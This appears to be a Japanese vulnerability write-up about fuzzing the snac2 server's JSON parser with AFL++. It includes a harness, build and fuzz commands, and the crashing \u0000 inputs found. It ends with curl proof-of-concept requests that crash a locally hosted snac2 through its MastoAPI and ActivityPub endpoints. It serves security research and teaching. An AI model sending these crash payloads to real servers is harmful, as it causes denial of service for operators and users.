ソースコードをさらに手動で調査する代わりに、ファジングと呼ばれる手法を用いてパーサ(xs_json.h内)がクラッシュする可能性のある入力を探すことにしました。ファジングに馴染みがない方のために説明すると、本質的にはランダムに生成された入力をコードに与えてテストする方法です。最も基本的なケースでは、/dev/urandomをプログラムにパイプしてクラッシュするのを待つという、非常に原始的な形のファジングです。

しかし、より複雑なプログラムの場合、単に/dev/urandomをプログラムにパイプするだけでは非常に非効率で、クラッシュにつながるより複雑なパターンを検出するのに非常に長い時間がかかる可能性が高いです。そのため、AFL++のような専用のファジングプログラムは、有効な入力の初期コーパスを使用して新しい入力を生成し、複数の戦略を通じて突然変異を繰り返し、比較的複雑な遺伝的アルゴリズムを採用します。さらに、コンパイル時のバイナリ計装を採用することで、修正されたコンパイラのセットがAFL固有の命令を挿入し、特定の入力で到達した関数とコードパスの数をファザーに通知できます。最終的に、このアプローチによりファザーは可能な限り多くの利用可能なコードパスをテストできます。このアプローチは非常に強力で、非常に些細な入力コーパスであっても、AFL++は完全なJPEGパーサをファジングする際に薄い空気からJPEGを引き出すことができます。

snac2プロジェクトでは、ファイルとして保存されたJSONデータをパースするxs_json_load関数をファジングすることにしました(snac2が内部的にすべてのデータストリームをFILEポインタとして扱うという事実も非常に興味深いものです)。そのために、ファジングハーネスを準備する必要がありました。これは、テスト対象の関数をファザーに公開する非常にシンプルなプログラムです。AFL++の場合、argv[1]からファイルパスを読み取り、それを開いてパーサに渡し、その後結果を解放するシンプルなCプログラムが必要でした:

#include <stdio.h>

#define XS_IMPLEMENTATION
#include "xs.h"
#include "xs_json.h"


int main(int argc, char **argv) {
    if(argc < 2) return 0;

    FILE *f = fopen(argv[1], "r");

    xs_val *root = xs_json_load(f);

    if (root) {
        xs_free(root);
    }

    fclose(f);
    return 0;
}

AFLのバイナリ計装を利用するために、ラップされたCコンパイラを使用してバイナリを作成する必要がありました。snac2のソースツリー内のサブディレクトリで調査を行っていると仮定すると:

afl-clang-fast -I.. fuzz_xs_json.c -o fuzz_xs_json

その後、シンプルなテストケース({"company": "a", "year": 2024})をinputディレクトリに配置し、ファザーを起動しました:

afl-fuzz -i input -o findings -- ./fuzz_xs_json @@

数分以内に、findings/default/crashesディレクトリで最初のクラッシュが見られ始め、すぐに確認できました。検出されたいくつかのよりシンプルなケースの中に、このようなものがあります:

[
  "TSo\u0  So\uF  So\uFcccccc
Ag {

数分の試行錯誤の後、上記のテストケースをよりクリーンな形に簡素化しました(\u0000がクラッシュの原因であることを確認):

  ["", "dummy\u0000..........................AAAAAA

最終的に、これが本物のクラッシュであり、ファジングハーネスに関連するものではないことを確認するために、このペイロードを実際にローカルでホストされたsnac2サーバーでテストし、MastoAPIエンドポイントに送信しました(即座にサーバーがクラッシュ):

  curl -X POST -H "Content-Type: application/json" http://localhost:8001/api/v1/WHATEVER -d '["", "dummy\u0000..........................AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

ペイロードを少し修正したところ、標準のActivityPubエンドポイントでもサーバーをクラッシュさせることができました:

  curl -X POST -H "Content-Type: application/activity+json" http://localhost:8001 -d '["", "dummy\u0000.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", ""]'